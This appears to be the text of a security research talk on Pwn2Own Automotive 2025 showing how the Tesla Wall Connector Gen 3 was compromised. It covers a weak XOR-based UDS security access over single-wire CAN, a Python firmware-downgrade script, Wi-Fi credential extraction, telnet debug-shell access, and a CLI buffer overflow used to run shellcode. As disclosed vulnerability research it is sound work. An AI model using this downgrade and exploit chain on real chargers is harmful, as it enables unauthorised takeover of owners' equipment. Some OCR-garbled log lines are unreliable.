

Pwn20wn automotive 2025

<u>Who</u> are we





David BERARD

Reverse Engineering team tech lead

Synacktiv

- Offensive security
- 170 Experts
- Pentest, Reverse Engineering,
 Development, Incident Response

Reverse Engineering team

- 52 reversers
- Low level research, reverse
 Engineering, vulnerability research, exploit development, etc.

<u>Syn</u>acktiv vs Tesla



Pwn20wn



<u>Tes</u>ia WallConnector Gen 3

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- Domestic charger
- Communicate with the car
- Target for Pwn2Own Tokyo 2025

Why did I look at the wallconnector



Tesla car firmware contains code to update a charger

> find model3_ng_2024.32.7/deploy/seed_artifacts_v2/wc3
model3_ng_2024.32.7/deploy/seed_artifacts_v2/wc3/2/subcomponent-id_1_wc3.bhx
model3_ng_2024.32.7/deploy/seed_artifacts_v2/wc3/2/subcomponent-id_1_wc3.bin

ecu_config <aHcm3l, aLeftLedMatrixH, unk_4007F184, 0, 0, 0xB000000, 0x40005100, 0, 0, 0x27># 78 # "hcm3l" "Left LED Matrix Headlamp Control Module" ecu_config <aHcm3r, aRightLedMatrix, unk_4007F184, 0, 0, 0xC000000, 0x40006100, 0, 0, 0x33># 79 # "hcm3r" "Right LED Matrix Headlamp Control Modul"... ecu_config <aUsm, aUltrasonicSens, unk_4007F026, 0, 0, 0x400, 0x20001100, 0, 0, 0x54># 80 # "usm" "Ultrasonic Sensor Module" ecu_config <aWc3, aGen3WallConnec, stru_4007F052, 0, 0, 0xE000002, 0xEC0000, 0, 0, 0x54># 81 # "wc3" "Gen 3 Wall Connector" ecu_config <aWc3d, aGen3WallConnec_0, unk_4007F052, 0, 0, 0xE040002, 0, 0, 0, 0x19># 82 # "wc3d" "Gen 3 Wall Connector Secondary Image" ecu_config <aWc3d, aGen3WallConnec_0, unk_4007F280, 0, 0, 0xE040002, 0x20803280, 0, 0, 0x19># 83 # "ocs1pbl" "Occupancy Classification System – 1st R"... ecu_config <a0cs1pbl, aOccupancyClass_0, unk_4007F10E, 0, 0, 0x220, 0x20003100, 0, 0, 0x12># 84 # "ocs1pbl" "Occupancy Classification System – 1st R"... ecu_config <a0cs1pbl, aOccupancyClass_1, unk_4007F10E, 0, 0, 0x200, 0x20003100, 0, 0, 0x12># 84 # "ocs1pbl" "Occupancy Classification System – 1st R"...

Upgradable ECUs in security gateway updater

int __fastcall offboard_update(int a1, int a2, int a3)
{
 int v3; // r5
 int v4; // r4
 __int64 v6; // r4
 __int64 v7; // r4
 iif (check_VC_OTA_state() || check_12V_relative(1))
 {
 HIDWORD(v6) = 54;
 LODWORD(v6) = "/firmware/components/gateway3/update/features/offboardUpdates.c";
 assert(v6);
 }
}

Home EV charger

Main feature: just a big switch!









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- Multiple connector types (here type 2), but same signals:
 - PE: Protective earth: ground
 - PP: Proximity Pilot
 - CP: Control Pilot

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<u>Sig</u>nals

Proximity pilot

- Charger detects the car connection with this signal
- Charger detects the cable max Amps
 - Cable contains a resistor of specific value between PP and PE
- Charging handle can have a button to stop the charge before unplug
 - A resistor is added between PP and PE when pressed



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<u>Sig</u>nals

Control pilot

- Used for basic signaling
 - Charger sends a PWM signal +12v / -12v
 - PWM Ratio is used to announce the max Amps value that the charger can deliver
 - Car applies a resistor to a voltage divider bridge to announce its state:
 - +9V / -12V: connected
 - +6V / -12V: charging

Can be used for data: V2G

- Charger and car connect a PLC to the CP line
- PLC signals over PWM
- HomePlugAV protocol is used for communication establishment
- Normalized protocol after

Tesla on a Tesla charger



Signals



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Tesla on a Tesla charger



Zoom on CP



• Single Wire CAN at 33.3 Kbits/s

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Features



- WiFi connectivity
 - AP mode for setup: A QRCode with the PSK is on the manual
 - Setup PSK canot be changed
 - AP mode is enabled just after boot for few seconds
 - AP mode can be enabled by pressing the button on the charging handle for a long time



- STA mode for normal operation
- NFC
 - does not seem to be in use

Hardware



- AW-CU300
 - WiFi module
 - Main Application
 - Update STM32 firmware
- STM32L4
 - Sensors / meters / Relay Driver
 - CAN bus
- UART connected
 - With protobuf messages
- PLC
 - But chipset not populated on the PCB of our model
 - Firmware implements only basic HomePlug AV message, no V2G here



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Firmware

- Many ways to get it
 - Troubleshoot page: old version
 - Service App: recent version
 - Tesla car firmwares: old versions
- It's connectivity module firmware
 - Contains the STM32 code
 - ARM code
 - FreeRTOS based

CAN bus

- Single Wire CAN transceiver connected to the STM32
- Some CAN IDs are forwarded to the main connectivity module
 - Encapsulated inside a Protobuf message on UART
 - Handled by the connectivity module
 - Replies are sent with Protobuf messages

UDS over ISOTP (CAN ID 0x604) is part of these CAN IDs

• Standard diagnostic protocol for automotive

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UDS

- Standard messages are implemented, but dangerous ones are not
- Security Access implements advanced cryptography

challenge_response = xor('\x35', challenge_hardcoded_value)

- As expected, firmware upgrade is implemented
- UDS Routines
 - Prepare the secondary firmware slot
 - Switch secondary slot as primary
 - Reboot



Firmware checks

- Only CRC32
- But bootloader implements secureboot (not part of the firmware)

No anti downgrade!

- And we have a lot of firmware since included in Tesla car filesystem
- Old version contains debug shell without a password
- WiFi credentials can be read/write with UDS read/write by identifier
- Let's build a Tesla car simulator to speak UDS with the charger



Simulator

PE PP CP





Reproduce same timing and behavior

Single Wire CAN USB Dongle

- Doesn't exist: build one based on FYSETC UCAN STM32 based
- Remove the transceiver of an existing dongle
- Place a Single Wire CAN Transceiver (NCV7356) instead of the original one
 - It's now a Single Wire CAN USB Dongle \o/



NCV7356

CAN Transceiver, Single Wire

The NCV7356 is a physical layer device for a single wire data link capable of operating with various Carrier Sense Multiple Access with Collision Resolution (CSMA/CR) protocols such as the Bosch Controller Area Network (CAN) version 2.0. This serial data link network is intended for use in applications where high data rate is not required and a lower data rate can achieve cost reductions in both the physical media components and in the microprocessor and/or dedicated logic devices which use the network.

The network shall be able to operate in either the normal data rate mode or a high-speed data download mode for assembly line and service data transfer operations. The high-speed mode is only intended to be operational when the bus is attached to an off-board service node. This node shall provide temporary bus electrical loads which



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Simulator









Simulator

- Relays are used to simulate the same timing as recorded on a Tesla connected to a charger
- CAN communication successfully established with our USB dongle!

Timestamp: 1736724646.617959 ID: 031c S DLC: 8 28 0d 05 68 00 00 68 07 Channel: can0 Timestamp: 1736724646.621689 ID: 031d S DLC: 8 00	<pre>david@usb-rpi:~/tesla \$ python3 [i] Configure GPI0 [i] Configuring single wire can [i] Enable proximity load [i] Connect CP circuit [i] CP circuit: activate charge [i] Connect CAN transciver [+] All good</pre>	can_com.py in normal mode load	2							
Timestamp: 1736724646.621689 ID: 0310 S DLC: 8 00	L'J ALL 9000 Timestamp: 1726724646 617050	TD: 021c	c		Q	28 0d 05	68 00	00 fg	7f	Channel: can0
Timestamp: 1736724646.621689 ID: 031d S DLC: 8 00	Timestamp. 1730724040.017939	ID. 0510	3	DLC.	0	20 00 0J	00 00	00 10	/ 1	
[] Timestamp: 1736724646.896166 ID: 031d S DLC: 8 00 00 00 00 00 00 00 Channel: can0 Timestamp: 1736724646.899843 ID: 0214 S DLC: 8 00 00 00 00 00 00 00 Channel: can0	Timestamp: 1736724646.621689	ID: 031d	S	DLC:	8	00 00 00	00 00	00 00	00	Channel: can0
Timestamp: 1736724646.896166 ID: 031d S DLC: 8 00	[]									
Timestamp: 1736724646 800843 TD: 0214 S DLC: 8 00 00 00 60 00 c0 00 00 Chappel: cap0	Timestamp: 1736724646.896166	ID: 031d	S	DLC:	8	00 00 00	00 00	00 00	00	Channel: can0
	Timestamp: 1726724646 800842	TD: 0214	c		Q	00 00 00	60 00	<u></u>	00	Channel: can0



Downgrade

- Some messages are required
 - A Tesla VIN has to be sent (check only manufacturer code)
 - A periodic message every 100 ms to keep the CAN communication active
- UDS messages
 - Open session 2 (programming)
 - Authenticate with security access (remember xor 0x35 ?)
 - Run UDS routine to prepare the update slot
 - Send the firmware
 - Run UDS routine to switch to the new firmware slot
 - Run UDS routine to reboot



Downgrade

```
import can, udsoncan, isotp
def tesla_uds_algo(level, seed, params=None):
    key = bytearray(seed)
    for i in range(len(key)):
        kev[i] = kev[i] \land 0x35
    return bytes(key)
bus = can.Bus(interface='socketcan', channel='can0', bitrate=33300, ignore rx error frames=False)
# ...
with Client(conn, config=uds_config) as client:
    client.set_config('security_algo', tesla_uds_algo)
    client.change session(2)
    client.unlock security access(5)
    client.routine control(routine id=0xFF00, control type=1) # prepare the passive firmware slot
    memloc = MemoryLocation(address=0, memorysize=len(data_to_send), address_format=32, memorysize_format=32)
    client.reguest download(memory location=memloc)
    while len(data):
        client.transfer data(sequence number=seq, data=chunk)
        # ...
    client.request_transfer_exit()
    client.routine control(routine id=0x201, control type=1) # switch to new firmware
    client.routine control(routine id=0x202, control type=1) # reboot
```



Downgrade: results

```
david@usb-rpi:~/tesla $ python3 wifi.py
[i] Configure GPIO
[i] Configuring single wire can in normal mode
   Enable proximity load
[i]
[i] Connect CP circuit
[i] CP circuit: activate charge load
[i] Connect CAN transciver
[+] All good
[i] SSID = TeslaWallConnector_2A0B79
[i] PSK = BYHPVDZEFNGG
[i] Connecting to WiFi !
[+] SSID UP connecting
[+] Connected !!!!
$ telnet 192.168.92.1
# help
sysinfo (sysinfo -h)
```

```
memdump (memdump.[b|h|w] <address> <# of objects>)
memwrite (memwrite.[b|h|w] <address> <value> [count])
```



Downgrade: results

- mem read / write commands make the system panic!
 - not supposed to be run with interrupts enabled
- Solution: exploit a global array overflow in the debug shell to prove code execution

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CLI overflow

- Command is splited into a global array of 16 elements (pointers)
 - No stop condition, the only limit is the command size (256 char)
 - 17th argument start to overflow on the global area
- Just after this global array there is the pointer to the registered command array (name + handler)
- Command array pointer can be overriden
 - Arbitrary jump by controlling the handler pointer
 - No memory protection, everything is RWX
 - Shellcode in the command buffer (only **\r** as bad char)

SYNACKTIV

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